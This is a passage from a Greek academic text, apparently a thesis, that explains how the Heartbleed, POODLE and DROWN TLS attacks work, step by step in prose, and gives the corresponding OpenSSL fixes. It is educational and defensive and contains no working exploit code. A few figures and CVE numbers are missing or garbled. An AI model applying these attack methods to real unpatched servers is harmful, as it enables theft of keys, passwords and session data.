πρόβλημα πριν την δημοσιοποίηση [23],[24],[25]. 4.b.3 Πως προστέθηκε ο λανθασμένος κώδικας στο OpenSSL Ο λανθασμένος κώδικας προστέθηκε με την πειραματική έκδοση του SSL, στο τέλος του 2011 και κυκλοφόρησε στο κοινό τον Μάρτιο του Η εσφαλμένη ενημέρωση του κώδικα υποβλήθηκε από τον Γερμανό Robin Seggelmann. Η υποβολή εξετάστηκε από έναν προγραμματιστή του OpenSSL, αλλά ούτε αυτός παρατήρησε ότι ένα τέτοιο λάθος θα μπορούσε να αξιοποιηθεί ώστε να ξεγελάσουν διακομιστές,οδηγώντας σε διαρροή των περιεχομένων της μνήμης [25]. 4.b.4 Επέκταση TLS Heartbeat Το όλο πρόβλημα βασίζεται στην λειτουργία μιας καινούργιας επέκτασης για το πρωτόκολλο TLS, την επέκταση Heartbeat. Η επέκταση αυτή επιτρέπει, είτε στο ένα είτε στο άλλο τελικό σημείο της σύνδεσης TLS, να εξακριβώσει αν ο ομότιμος κόμβος του εξακολουθεί να υπάρχει. Λειτουργούσε λόγω της ανάγκης για την διαχείριση της συνόδου στο Datagram TLS (DTLS). Τα πρότυπα υλοποίησης του TLS πρωτοκόλλου δεν απαιτούν την επέκταση, καθώς μπορούν να βασίζονται στο TCP για μια ισοδύναμη διαχείριση ενεργειών. Οι ομότιμοι κόμβοι υποδεικνύουν υποστήριξη για την παράταση κατά την αρχική χειραψία TLS. Μετά από την διαπραγμάτευση και οι δύο πλευρές μπορούν να στείλουν ένα μήνυμα τύπου HeartbeatRequest, ώστε να επαληθεύσουν την σύνδεση. Η επέκταση Heartbeat για 68

71 το πρωτόκολλο TLS έχει τεκμηριωθεί και προταθεί ως πρότυπο στις αρχές του 2012 από την IETF υπό την καθοδήγηση των R.Seggelmann, M. Tuexen και M. Williams. Προστέθηκε στο OpenSSL στις 31 Δεκέμβριου του 2011 και κυκλοφόρησε στην έκδοση του OpenSSL στις 14 Μάρτιου του [22] Η υποστήριξη των Heartbeats υποδεικνύεται με επεκτάσεις Hello. Ένας ομότιμος κόμβος (peer) μπορεί να επιλέξει πότε είναι διατεθειμένος να λάβει μήνυμα HearbeatRequest και να απαντήσει με μήνυμα HearbeatResponse [26] Ο σχηματισμός της επέκτασης Heartbeat Hello καθορίζεται ως εξής enum { peer_allowed_to_send(1), peer_not_allowed_to_send(2), (255) } HeartbeatMode; struct { HeartbeatMode mode; } HeartbeatExtension Σχήμα 4.b.4 : Η δομή της επέκτασης heartbeat [26] Η επέκταση heartbeat παρέχει ένα νέο πρωτόκολλο για το TLS/DTLS επιτρέποντας την χρήση μιας keep-alive λειτουργικότητας χωρίς να εκτελέσει κάποια επαναδιαπραγμάτευση. 4.b.5 Το πρωτόκολλο Heartbeat Το πρωτόκολλο Heartbeat είναι ένα νέο πρωτόκολλο που λειτουργεί στην κορυφή του Record Layer. Η δομή του όπως καθορίζεται στο RFC6520 είναι : enum { heartbeat_request(1), heartbeat_response(2), (255) } HeartbeatMessageType; Σχήμα 4.b.5 : Η δομή του πρωτοκόλλου heartbeat [26] 69

72 Το πρωτόκολλο αποτελείται από δύο τύπους μηνυμάτων : 1. HeartbeatRequest 2. HeartbeatResponse Αυτά τα μηνύματα αποτελούνται από : τον τύπο, μήκος φορτίου ένα arbitrary φορτίο το γέμισμα όπως φαίνεται και στον παρακάτω κώδικα: struct { HeartbeatMessageType type; uint16 payload_length; opaque payload[heartbeatmessage.payload_length]; opaque padding[padding_length]; } HeartbeatMessage; Σχήμα 4.b.5(2) : Δομή Μηνύματος Heartbeat [26] Τα μηνύματα τύπου HeartbeatRequest αποτελούνται από ένα πεδίο ενός byte, ένα πεδίο δεδομένων μήκους δύο byte και τουλάχιστον 16 bytes τυχαίου padding [22]. Μετά την παραλαβή της αίτησης, το τελικό σημείο παραλαβής απαντά με ένα παρόμοιο μήνυμα HeartbeatResponse, το οποίο λαμβάνει ως απάντηση ένα HeartbeatRequest payload και το δικό του τυχαίο padding. Όπως στο παρακάτω σχήμα : Σχήμα 4.b.5 (3): μηνύματα heartbeat [22] 70

73 Ο χρήστης είναι σε θέση να χρησιμοποιήσει ένα μήνυμα τύπου HeartbeatRequest σχεδόν οποιαδήποτε στιγμή κατά την διάρκεια της σύνδεσης. Ο ομότιμος κόμβος θα πρέπει να απαντήσει απευθείας με ένα αντίστοιχο μήνυμα τύπου HeartbeatResponse μεταφέροντας ένα ακριβές αντίγραφο του arbitrary φορτίου που περιλαμβάνεται από το μήνυμα HeartbeatRequest. Το μέγιστο μέγεθος του μηνύματος περιορίζεται στα 2 14 (16Kbytes) ή max_fragment_length. Εάν το μήκος του φορτίου ενός ληφθέντος μηνύματος είναι αρκετά μεγάλο ή εάν το HearbeatResponse δεν περιέχει το αναμενόμενο payload, το μήνυμα πρέπει να απορριφθεί σιωπηλά. 4.b.6 Αναπαράσταση του Heartbleed Ένα μήνυμα αίτησης τύπου Heartbeat έχει τις εξής παραμέτρους μέσα στο πακέτο αίτησης : 1. Payload : ορισμένες πληροφορίες (κάτι απλό όπως test ). 2. Size : το μέγεθος του payload μαζί, ώστε να ενημερώνεται ο εξυπηρετητής από ποιον δέχεται αρχεία. Η επίθεση πραγματοποιείται με τα εξής βήματα [27] : 1. Ο επιτιθέμενος αρχικά σιγουρεύεται ότι η μηχανή που τον ενδιαφέρει είναι ενεργή. 2. Σχεδιάζει ένα μήνυμα Heartbeat request με ένα payload και ένα ψεύτικο μέγεθος payload π.χ payload: crow με payload length : Στέλνει το μήνυμα. 4. Η μηχανή λαμβάνει το μήνυμα heartbeat και δημιουργεί ένα μήνυμα προς απάντηση. 5. Ενώ δημιουργεί το μήνυμα προς απάντηση,ελέγχει για το μέγεθος του payload που δόθηκε στο μήνυμα της αίτησης. Δημιουργεί λοιπόν ένα ίδιο payload προς απάντηση με μέγεθος μόνο 4 bytes. 6. Για να συμπληρώσει τα εναπομείναντα bytes, η μηχανή ασυναίσθητα γεμίζει με 26 bytes δεδομένων από την μνήμη heap. 71

74 Σχήμα 4.b.6 : Λειτουργία της επίθεσης Heartbleed [49] Κάθε εξυπηρετητής που λειτουργεί σε OpenSSL έχει την δική του μνήμη heap για να αποθηκεύει δεδομένα. Τα δεδομένα αυτά αποτελούνται κυρίως από ληφθέντα δεδομένα υπό ασφαλή σύνοδο όπως συνθηματικά, ονόματα χρηστών, pin πιστωτικών καρτών και κλειδιά κρυπτογράφησης[22]. 4.b.7 Πως λειτουργεί Η ευπάθεια Heartbleed προέρχεται από τα μηνύματα τύπου HeartbeatResponse, τα οποία υποτίθεται ότι περιέχουν ένα αντίγραφο του arbitrary payload από την αίτηση [28]. Ένας επιτιθέμενος στέλνει ένα μήνυμα τύπου HeartbeatRequest με ένα μικρού μεγέθους arbitrary payload και ένα μεγάλο μήκους payload το οποίο καθορίζεται στο μέγιστο εφικτό μέγεθος 0xFFF (65535 bytes). Ο προβληματικός κώδικας OpenSSL που φαίνεται στο παρακάτω σχήμα επισημαίνει πως το HeartbeatResponse δομείται ως εξής : 1. Ο κώδικας αρχικά γράφει το είδος της απάντησης στην αρχή του buffer. 2. Αυξάνει το δείκτη του buffer. 3. Γράφει το 16-bit payload_length στην μνήμη, αυξάνει τον δείκτη του buffer κατά δύο bytes. 72

75 4. Τέλος αντιγράφει το ληφθέν αυθαίρετο payload στο εξερχόμενο payload προς απάντηση. Σχήμα 4.b.7 : Η προβληματική εντολή για το HeartbeatResponse στο OpenSSL [28] Ως επιτιθέμενοι στέλνουμε ένα μήνυμα HeartbeatRequest με το πεδίο payload_length ως 0xFFFF (65535 bytes) και ένα αυθαίρετο payload με ένα byte. Ο κώδικας πρέπει να στείλει πίσω ένα αντίγραφό από το εισερχόμενο μήνυμα heartbeat, έτσι ώστε να παρέχει ένα buffer αρκετά μεγάλο για να κρατήσει το 64KB payload, συν ένα byte για να αποθηκεύσει τον τύπο του μηνύματος,δύο bytes για να αποθηκεύσει το μήκος του payload και ορισμένα padding bytes. Έτσι, ακόμη και αν το παρεχόμενο μέγεθος του buffer είναι μεγαλύτερο από την ληφθέν αυθαίρετο payload, η συνάρτηση memcpy() θα διαβάσει πέραν από τα δεδομένα που έλαβε [28]. Δηλαδή το OpenSSL λειτουργεί πέραν του επιθυμητού ορίου των δεδομένων και συλλέγει οτιδήποτε από την μνήμη που βρίσκεται μετά, μέχρι και 64KB, κάθε φορά που πραγματοποιείται ένα δύσμορφο μήνυμα HeartbeatRequest. 4.b.8 Επιδιόρθωση κώδικα Παρακάτω το σχήμα «Επιδιόρθωση κώδικα για την ευπάθεια Heartbleed» δείχνει την διαφορά στο αρχείο t1_lib.c του OpenSSL ανάμεσα στην ευάλωτη έκδοση και στην επιδιορθωμένη έκδοση του OpenSSL 1.0.1g. 73

76 Σχήμα 4.b.8 : Επιδιόρθωση κώδικα για την ευπάθεια Heartbleed [29] Η ευπάθεια heartbleed αντανακλά μία από τις πιο επιβλαβείς ευπάθειες κατά τη διάρκεια της ιστορίας του OpenSSL για τους εξής λόγους : 1. Επιτρέπει στους επιτιθέμενους να υποκλέπτουν κλειδιά κρυπτογράφησης και προσωπικά δεδομένα χρηστών. 2. Είναι εύκολο στην εκμετάλλευση. 3. Οι HTTPS, καθώς και άλλες TLS υπηρεσίες,έχουν αυξηθεί σε μέγιστο βαθμό καθιστώντας τες από τις περισσότερο πληγείσες υπηρεσίες. 4.b.9 Πληροφορίες που διαρρέουν Ερευνητές έχουν ταξινομήσει τον τύπο της πληροφορίας που διαρρέει σε τέσσερις κατηγορίες [8] : Υλικό πρωτεύοντος κλειδιού Τα κλειδιά κρυπτογράφησης που διέρρευσαν, επιτρέπουν στους επιτιθέμενους να επιθεωρήσουν εμπιστευτικές πληροφορίες κίνησης και να μιμηθούν μια υπηρεσία. Υλικό δευτερεύοντος κλειδιού Λογαριασμοί χρηστών καθώς και πληροφορίες συνθηματικών μπορούν να κλαπούν. Προστατευόμενο περιεχόμενο Εμπιστευτικές πληροφορίες που περιέχονται μέσα σε θεωρημένο ασφαλές κανάλι επικοινωνίας είναι εκτεθειμένες. Παράπλευρες τυχαίες πληροφορίες που συγκεντρώθηκαν κατά τη διάρκεια της επίθεσης σε σχέση με την εφαρμογή και την αρχιτεκτονική του OpenSSL. 74

77 4.b.10 Πόσες ιστοσελίδες βρέθηκαν ευάλωτες Για τον καθορισμό του ποιες ιστοσελίδες ήταν αρχικά ευάλωτες, υπήρξαν αρκετές δυσκολίες. Λίγη ήταν η προσοχή που δόθηκε στην επέκταση Heartbeat πριν από την ανακοίνωση της ευπάθειας, και πολλές δημοφιλείς τοποθεσίες διόρθωσαν το σφάλμα μέσα σε λίγες ώρες μετά την δημοσιοποίηση [22]. Η Codenomicon,μία από τις ομάδες που ανακάλυψαν το Heartbleed, εικάζουν ότι το 66 % των ιστοσελίδων που χρησιμοποιούν το HTTPS ήταν ευάλωτες. Ωστόσο ο αριθμός αυτός αντιπροσώπευε το μερίδιο αγοράς των Apache και Ngix και μπορεί κάλλιστα να αντανακλά μια υπερεκτίμηση, καθώς ορισμένοι φορείς μπορεί να είχαν απενεργοποιήσει την επέκταση, είτε να είχαν αναπτύξει ειδικές SSL παραμέτρους ή να χρησιμοποιούσαν μη ευπαθείς παλαιότερες εκδόσεις του OpenSSL. Πίνακας 4.b.10 : Ευπαθείς εξυπηρετητές [22] Γενικά εκτιμάται ότι από τις πρώτες ιστοσελίδες του ενός εκατομμυρίου στο Alexa, γύρω στο 24-55% ήταν ευάλωτες από το Heartbleed. Πίνακας 4.b.11: οι κορυφαίες (1 εκατομμύριο) ιστοσελίδες με βάση το Alexa καθώς και ποιους εξυπηρετητές χρησιμοποιούν. [22] Το Heartbleed επίσης επηρέασε εξυπηρετητές mail, το δίκτυο Tor, Bitcoin, Android, και ασύρματα δίκτυα.επίσης επηρέασε πολλά ενσωματωμένα συστήματα, όπως εκτυπωτές, τείχη προστασίας, συσκευές Nas, κάμερες ασφαλείας,vpn συνδέσεις κ.α. 75

78 4.b.11 Μέτρα ασφαλείας Επειδή η ευπάθεια αυτή γενικότερα επικεντρώνεται σε εξυπηρετητές, δεν υπάρχει κάτι που να μπορούν οι χρήστες να κάνουν, όσον αφορά την προστασία τους, σε περίπτωση που χρησιμοποιούν κάποια μολυσμένη ιστοσελίδα. Όμως, άπαξ και μια ασφαλής ιστοσελίδα έχει φτιάξει το πρόβλημα του σφάλματος, οι χρήστες θα πρέπει να αναβαθμίσουν το λογισμικό τους, ώστε να σιγουρευτούν ότι σε περίπτωση ήδη κλοπής κωδικών ή άλλων στοιχείων δεν θα χρησιμοποιηθούν για κακόβουλες ενέργειες. Τα βήματα που πρέπει να κάνει κάποιος είναι [23] : Πλέον διατίθενται διάφορα εργαλεία πχ με τα οποία μπορεί να καθοριστεί αν κάποια ιστοσελίδα, κάνει χρήση ακόμη μιας ελαττωματικής έκδοσης του OpenSSL και συνεπώς είναι ευάλωτη σε χτύπημα του Heartbleed. Επιπλέον, πέραν της αναβάθμισης του λογισμικού τους, οι ιστοσελίδες χρειάζεται να αναδημιουργήσουν τα κλειδιά κρυπτογράφησης τους. Δυστυχώς δεν υπάρχει εύκολος τρόπος για τους χρήστες να δοκιμάσουν πότε οι ιστοσελίδες το έχουν πράξει αυτό, γι αυτό η ευθύνη βρίσκεται στα χέρια του ίδιου του χρήστη,που οφείλει να ενημερωθεί ο ίδιος ρωτώντας περί του ζητήματος της αναδημιουργίας των κλειδιών. Οι ιστοσελίδες θα πρέπει να επικοινωνούν με τους χρήστες τους, ενημερώνοντας τους πότε έχει πληγεί η ιστοσελίδα, καθώς και τα αντίμετρα που πρέπει να ληφθούν ώστε να λάβει τέλος το πρόβλημα. Αν κάποιος από τους χρήστες δεν είναι σε θέση να λάβει τις απαραίτητες πληροφορίες, τότε η σελίδα που χρησιμοποιεί θεωρείται αναξιόπιστη. Οι χρήστες από ευπαθείς ιστοσελίδες θα πρέπει αρχικά να αλλάξουν τους κωδικούς τους, όμως μόνο αφότου η ιστοσελίδα έχει λάβει τα κατάλληλα μέτρα αποκατάστασης της ασφάλειας, διαφορετικά δεν θα έχει νόημα η αλλαγή του κωδικού. Εάν κάποιος χρήστης αλλάξει τον κωδικό του πριν από κάποια αναβάθμιση στο λογισμικό της ιστοσελίδας και την αλλαγή στο κλειδί κρυπτογράφησης, τότε απλά φροντίζει ώστε ο επιτιθέμενος να αποκτήσει καινούρια κλειδιά κρυπτογράφησης. H αναβάθμιση της έκδοσης του OpenSSL στην 1.0.1g ή σε νεότερη. Εάν αυτό δεν είναι εφικτό για οποιονδήποτε λόγο, οι σχεδιαστές λογισμικού μπορούν να επανεκτελέσουν το OpenSSL με την επιλογή -DOPENSSL_NO_HEARTBEATS. 76

79 4.c POODLE Vulnerability Σχήμα 4.c : εικόνα για ευπάθεια Poodle [50] 4.c.1 Ιστορικά στοιχεία Αν και σήμερα το πρωτόκολλο που χρησιμοποιείται για ασφαλείς συνδέσεις είναι το TLS, πολλές από τις υλοποιήσεις του παραμένουν συμβατές με τον προκάτοχο του, το πρωτόκολλο SSLv3. Αυτό γίνεται για τις ανάγκες της διαλειτουργικότητας με τα προγενέστερα συστήματα. Η υποβάθμιση του πρωτοκόλλου αποτέλεσε την ευπάθεια για την αρχή μιας επίθεσης, επίθεσης που εκμεταλλεύεται την υποβάθμιση σε πρωτόκολλο SSLv3 παραβιάζοντας την κρυπτογράφηση του. Στις 14 Οκτωβρίου του 2014 η Google δημοσίευσε πληροφορίες σχετικά με την επίθεση POODLE [30]. Μια επίθεση τύπου padding oracle που στοχεύει στους αλγορίθμους του πρωτοκόλλου SSLv3 που χρησιμοποιούν κρυπτογράφηση CBC. Η ευπάθεια επιτρέπει στον εισβολέα να εξαπολύσει μια επίθεση τύπου MITM αποκρυπτογραφώντας περιεχόμενα μιας σύνδεσης με πρωτόκολλο SSLv3. 4.c.2 Πως λειτουργεί Για την διαλειτουργικότητα με προγενέστερους εξυπηρετητές αρκετοί πελάτες που χρησιμοποιούν πρωτόκολλο TLS, εκτελούν μια διαδικασία υποβάθμισης του πρωτοκόλλου. Αυτό επιτυγχάνεται στην αρχική φάση της χειραψίας, όπου ο πελάτης σε περίπτωση αποτυχίας της χειραψίας μπορεί να διαπραγματευτεί κατ επανάληψη μια προηγούμενη έκδοση πρωτοκόλλου μέχρι το αίτημα του να γίνει δεκτό. Δηλαδή, αν ο εισβολέας βρίσκεται μεταξύ της επικοινωνίας πελάτη και εξυπηρετητή, μπορεί να παρέμβει με κάθε απόπειρα χειραψίας προσφέροντας την έκδοση TLS 1.0 ή μεταγενέστερη, έτσι οι πελάτες θα περιοριστούν στην έκδοση SSLv3. Η κρυπτογράφηση στο πρωτόκολλο αυτό χρησιμοποιεί δύο είδη κρυπτογραφικών αλγορίθμων, ο ένας είναι αλγόριθμος ροής RC4 77

80 και ο άλλος είναι αλγόριθμος τμήματος με λειτουργία CBC. Ωστόσο λόγω των αδυναμιών και στους δύο τρόπους κρυπτογράφησης, η μόνη λύση για την επίτευξη ασφάλειας είναι η αποφυγή του πρωτοκόλλου SSL 3.0 [31] Η Poodle είναι μια padding oracle επίθεση στο πρωτόκολλο SSLv3 που χρησιμοποιεί για την κρυπτογράφησης την λειτουργία CBC. Πραγματοποιώντας πολλαπλές αιτήσεις με ένα cipher text ο επιτιθέμενος μπορεί να είναι σε θέση να ανακτήσει, για παράδειγμα ένα κρυπτογραφημένο cookie. Η επιτυχής εκμετάλλευση της επίθεσης προϋποθέτει μια θέση MITM,προκειμένου να γίνει η υποβάθμιση σε SSLv3,όπως επίσης και η δυνατότητα να τρέξει ένα Javascript στον φυλλομετρητή. Η πολυπλοκότητα του θεωρείται αρκετά μεγαλύτερη σε σχέση με τον heartbleed. Σχήμα 4.c.2 : υποκλοπή πληροφοριών μέσω SSLv3 [51] 78

81 4.c.3 Πιο αναλυτικά Το πρόβλημα έγκειται στην λειτουργία CBC (Cipher Block Chaining) που χρησιμοποιούν για κρυπτογράφηση πολλοί αλγόριθμοι του SSLv3.Το χειρότερο πρόβλημα αυτού του είδους της λειτουργίας είναι πως το γέμισμα των κρυπτογραφημένων τμημάτων δεν καθορίζεται εκ των προτέρων και δεν καλύπτεται από τον κώδικα αυθεντικοποίησης μηνύματος (MAC)[31]. Το SSL record κρυπτοκείμενο αποτελείται από τρεις τομείς : ένα περιεχόμενο record,τον κώδικα αυθεντικοποίησης μηνύματος (MAC) και το γέμισμα record. Στο SSL χρησιμοποιούνται τμήματα μεγέθους 16bytes(AES) ή 8(3DES), με το τελευταίο τμήμα να γεμίζει με τυχαία byte,προκειμένου να ενισχύσει ομοιόμορφα το μήκος του μηνύματος. Εάν το record μαζί με τα 20-byte μεγέθους MAC ευθυγραμμιστούν στην εντέλεια, ένα τελευταίο τμήμα αποτελούμενο μόνο από padding θα προσκολληθεί στο μήνυμα. Εάν ο επιτιθέμενος ελέγχει το μήκος του μηνύματος, ώστε να αναγκάσει το τελευταίο τμήμα να περιέχει μόνο padding, έχει την δυνατότητα να αντικαταστήσει το τελευταίο τμήμα με ένα προηγούμενο τμήμα κρυπτοκειμένου. Ο εξυπηρετητής θα το αποδεχθεί αν μόνο το αποκρυπτογραφημένο τμήμα με την πράξη XOR μαζί με ένα προηγούμενο τμήμα κρυπτοκειμένου ισούται με τιμή επτά. Αυτό σημαίνει ότι το τελευταίο κρυπτογραφημένο Byte με πράξη XOR μαζί με την τιμή επτά ισούται με ένα κρυπτογραφημένο byte ευαίσθητης πληροφορίας. 4.c.4 Αναπαράσταση της επίθεσης Ο επιτιθέμενος χρησιμοποιεί τις παραμέτρους URL για να ελέγξει το μήκος του μηνύματος, καθώς και παράταξη των CBC τμημάτων. Σχήμα 4.c.4 (2): δομή http αίτησης [32] 79

82 Σχήμα 4.c.4 (3): Βήματα για επίθεση Poodle [32] Τα βήματα είναι τα εξής [32]: 1. Ο επιτιθέμενος αντικαθιστά padding bytes με cookie. 2. Εάν το τελευταίο byte ενός αποκρυπτογραφημένου cookie που τεθεί σε πράξη XOR με κρυπτοκείμενο του προηγούμενου τμήματος ισούται με 7, το record είναι αποδεκτό. 3. Ο επιτιθέμενος παρατηρεί τα αποδεκτά records. 4. Ο επιτιθέμενος έχει 1 στις 256 πιθανότητες να αποκρυπτογραφήσει 1 byte κρυπτοκειμένου. 5. Ο επιτιθέμενος επαναλαμβάνει μέχρι να επιτύχει το στόχο του. Σχήμα 4.c.4 : sniffing πακέτων μέσω padding oracle επίθεσης [43] 80

83 4.c.5 Ποιος είναι ευάλωτος Η επίθεση βρίσκει έδαφος σε συστήματα ή εφαρμογές που υποστηρίζουν πρωτόκολλο SSL 3.0 με αλγορίθμους λειτουργίας CBC, καθώς και λογισμικά που περιλαμβάνουν βιβλιοθήκες SSL/TLS, τέτοιες όπως το OpenSSL. Εκμεταλλευόμενος κάποιος την ευπάθεια μπορεί να χρησιμοποιήσει την επίθεση προκειμένου να αποκτήσει πρόσβαση σε ευαίσθητα δεδομένα όπως κωδικοί, cookies τα οποία μπορεί να χρησιμοποιήσει για να αποκτήσει πρόσβαση σε μια μεγάλη υποδομή. Στατιστικά στοιχεία Σχήμα 4.c.5 (1) : Ιστοσελίδες που χρησιμοποιούν πρωτόκολλα SSLv3-TLS1.2 [30] Σχήμα 4.c.6 (2) : Ιστοσελίδες που υποστηρίζουν SSLv3 [30] 81

84 4.c.6 Τρόποι αντιμετώπισης Η οριστική λύση είναι η απενεργοποίηση του SSLv3 ως πρωτόκολλο επικοινωνίας. Ωστόσο αυτό θα καταστήσει αδύνατη την επικοινωνία με εξυπηρετητές εταιριών που χρησιμοποιούν ως κύριο πρωτόκολλο το SSLv3. Ένα βήμα για την ενίσχυση της ασφάλειας, σε περίπτωση που η χρήση του πρωτοκόλλου κρίνεται αναγκαία, θα ήταν, μέσω του OpenSSL, η ενεργοποίηση της παραμέτρου αλγορίθμων TLS_FALLBACK_SCSV. Η παράμετρος αυτή εμποδίζει τον εξαναγκασμό της χρήσης SSLv3. Η ίδια εντολή θωρακίζει από μελλοντικές ευπάθειες αφού δεν επιτρέπει την υποβάθμιση όλων των σύγχρονων πρωτοκόλλων. [33] Η παράμετρος προϋποθέτει την αναβάθμιση σε συγκεκριμένες εκδόσεις του OpenSSL ανάλογα με την έκδοση που χρησιμοποιεί ο πελάτης. Σε περίπτωση που τα δύο προηγούμενα δεν είναι εφικτά στην πράξη για οποιοδήποτε λόγο, τότε μένει η απενεργοποίηση όλων των αλγορίθμων του SSLv3 που τρέχουν με λειτουργία CBC, δίνοντας θέση στους αλγορίθμους RC4. Επιπλέον οι χρήστες του OpenSSL θα πρέπει να αναβαθμίσουν τις εκδόσεις τους σε περίπτωση που δεν το έχουν κάνει ήδη. Πιο συγκεκριμένα [34] : Οι OpenSSL χρήστες θα πρέπει να αναβαθμίσουν στην έκδοση 1.0.1j. Οι OpenSSL χρήστες θα πρέπει να αναβαθμίσουν στην έκδοση 1.0.0o. Οι OpenSSL χρήστες θα πρέπει να αναβαθμίσουν στην έκδοση 0.9.8zc. 82

85 4.d DROWN Vulnerability Σχήμα 4.d : Έμβλημα επίθεσης DROWN [52] 4.d.1 Ιστορικά Στοιχεία Την 1η Μαρτίου του 2015 κοινοποιήθηκε μια ευπάθεια στο πρωτόκολλο SSLv2 που προσδιορίζεται ως CVE και χρησιμοποιείται σε μια επίθεση τύπου crossprotocol, την DROWN.Η λέξη DROWN προέρχεται από το Decrypting RSA using Obsolete and Weakened encryption. Η επίθεση αυτή αποτελεί μια επέκταση της επίθεσης Bleichenbacher που χρησιμοποιείται για να αποκρυπτογραφήσει ένα κρυπτογραφημένο κείμενο σε περίπτωση ύπαρξης μιας μηχανής oracle. Η επίθεση επηρεάζει υπηρεσίες που χρησιμοποιούν το πρωτόκολλο HTTPS, καθώς και άλλες που βασίζονται στο πρωτόκολλο SSL/TLS. Η DROWN επιτρέπει στον εισβολέα να σπάσει την κρυπτογράφηση και να διαβάσει ή να κλέψει πολύτιμες πληροφορίες.το εύρος της επίθεσης κυμαίνεται σε οποιαδήποτε επικοινωνία μεταξύ πελάτη και εξυπηρετητή έχοντας πρόσβαση σε συνθηματικά, αριθμούς καρτών, μυστικά συναλλαγών και οικονομικά δεδομένα. Η επίθεση DROWN αποκτά μεγαλύτερες διαστάσεις εκμεταλλευόμενη δύο ευπάθειες στην εκτέλεση του OpenSSL [35]. Αυτές είναι οι: CVE (επηρέασε τις εκδόσεις του OpenSSL πριν από τις 1.0.2f και 1.0.1r): επιτρέπει στον εισβολέα να συνδεθεί με τον εξυπηρετητή με πρωτόκολλο SSLv2, ενώ έχει απενεργοποιημένη την υποστήριξη αλγορίθμων κρυπτογράφησης του SSLv2. CVE (επηρέασε τις εκδόσεις του OpenSSL πριν από τις 1.0.2a,1.0.1m,1.0.0r και 0.9.8zf) : Μειώνει σε μεγάλο βαθμό το κόστος και την χρονική πολυπλοκότητα της επίθεσης. 83

86 4.d.2 Πως λειτουργεί Η επίθεση Drown είναι μια cross-protocol επίθεση η οποία είναι σε θέση να αποκρυπτογραφεί παθητικά TLS sessions από πελάτες με ενημερωμένες εκδόσεις χρησιμοποιώντας έναν εξυπηρετητή που υποστηρίζει πρωτόκολλο SSLv2 [36]. Ο επιτιθέμενος αρχικά ξεκινάει με το να παρατηρεί αρκετές συνδέσεις μεταξύ ενός πελάτη με έναν εξυπηρετητή. Η συλλογή αυτών των συνδέσεων προϋποθέτει παρακολούθηση της κυκλοφορίας για μεγάλο χρονικό διάστημα ή παραπλάνηση του χρήστη στο να επισκεφθεί μία ιστοσελίδα, η οποία ταχέως δημιουργεί πολλές συνδέσεις σε άλλη ιστοσελίδα στο βάθος. Οι συνδέσεις αυτές χρησιμοποιούν οποιαδήποτε έκδοση του SSL/TLS πρωτοκόλλου, συμπεριλαμβάνοντας και την έκδοση TLS 1.2 όσο αυτή χρησιμοποιεί RSA ανταλλαγή κλειδιού. Σε αυτή την μέθοδο ο πελάτης επιλέγει ένα τυχαίο session κλειδί και το στέλνει στον εξυπηρετητή, κρυπτογραφημένο χρησιμοποιώντας RSA και το δημόσιο κλειδί του εξυπηρετητή. Στην συνέχεια ο επιτιθέμενος, επαναλαμβανόμενα συνδέεται στον SSLv2 εξυπηρετητή και αποστέλλει ειδικά σχεδιασμένα μηνύματα χειραψίας με τροποποιήσεις στο RSA ciphertext από τις συνδέσεις του θύματος. Ο τρόπος που ο εξυπηρετητής αντιδρά σε αυτές τις κινήσεις εξαρτάται από το πόσο το τροποποιημένο ciphertext αποκρυπτογραφείται σε ένα plaintext μήνυμα με την σωστή μορφή. Εφόσον ο επιτιθέμενος δεν γνωρίζει το ιδιωτικό κλειδί του εξυπηρετητή, δεν γνωρίζει επακριβώς ποιο θα είναι το plaintext, αλλά ο τρόπος με τον οποίο αντιδράει ο εξυπηρετητής καταλήγει στην διαρροή πληροφοριών στον επιτιθέμενο σχετικά με τα μυστικά κλειδιά που χρησιμοποιήθηκαν για τις TLS συνδέσεις του θύματος. 4.d.3 Διαρροή Πληροφοριών Η διαρροή πληροφοριών με την παραπάνω μέθοδο μπορεί να επιτευχθεί με τους εξής δύο τρόπους : Ο πιο συχνός τρόπος, χρησιμοποιώντας την DROWN, είναι η εκμετάλλευση μιας αδυναμίας στο SSLv2 πρωτόκολλο που σχετίζεται καθαρά με την ποιότητα της κρυπτογράφησης.οι δοκιμές του επιτιθέμενου χρησιμοποιούν ciphers που εμπλέκουν μόνο 40 bits από RSA κρυπτογραφημένου μυστικού κλειδιού. Ο ίδιος μπορεί να αντιληφθεί κατά πόσο το τροποποιημένο του ciphertext ήταν έγκυρα σχεδιασμένο απλώς συγκρίνοντας την απάντηση του εξυπηρετητή με όλες τις (2 40 ) πιθανότητες [35]. Μια χρονοβόρα διαδικασία,η οποία όμως μπορεί να επιταχυνθεί χρησιμοποιώντας GPUS. Επιπλέον η πλειοψηφία των εξυπηρετητών που είναι ευάλωτοι στην DROWN, είναι επίσης επηρεασμένοι από ένα OpenSSL bug που έχει ως αποτέλεσμα μια εύκολη έκδοση της επίθεσης. Σε αυτή την περίπτωση ο εισβολέας είναι σε θέση να τροποποιήσει τα σχεδιασμένα ciphertext με τέτοιο τρόπο, ώστε σχεδόν άμεσα να καταλάβει αν ήταν σωστά σχεδιασμένο και όλα αυτά χωρίς μεγάλο αριθμό υπολογισμών. Σε αυτή την περίπτωση ο 84

87 εισβολέας χρειάζεται περίπου δοκιμαστικές συνδέσεις για να λάβει ένα κλειδί που θα έχει αντίκτυπο σε 1 στις 260 TLS συνδέσεις από τον εισβολέα και ο υπολογισμός για αυτό διαρκεί λιγότερο από ένα λεπτό σε έναν γρήγορο υπολογιστή. 4.d.4 Αδυναμίες στο πρωτόκολλο SSL 2.0 Το πρωτόκολλο SSLv2 χαρακτηρίζεται από τις εξής ιδιότητες [37] : 1. Ο εξυπηρετητής απαντάει απευθείας με ένα μήνυμα ServerVerify,αφότου λάβει μήνυμα ClientMasterKey το οποίο περιλαμβάνει το κρυπτογραφημένο κείμενο RSA, χωρίς να περιμένει για το μήνυμα ClientFinished, το οποίο αποδεικνύει ότι πελάτης γνωρίζει το RSA plaintext. 2. Όταν επιλέγεται αλγόριθμος κρυπτογράφησης 40-bit(export) RC2 ή RC4 ως συμμετρικός αλγόριθμος, μόνο 5 byte από το master_key(mk secret) στέλνονται κρυπτογραφημένα χρησιμοποιώντας RSA,ενώ τα υπόλοιπα 11 στέλνονται σε plaintext. 3. Μια λειτουργία του εξυπηρετητή, που ορθώς εκτελεί το αντίμετρο ασφαλείας anti- Bleichenbacher και λάβει ένα μήνυμα ανταλλαγής κλειδιού RSA με ένα μη έγκυρο padding, θα παράγει ένα τυχαίο premaster μυστικό κλειδί και θα συνεχίσει με αυτό για το υπόλοιπο της TLS χειραψίας. 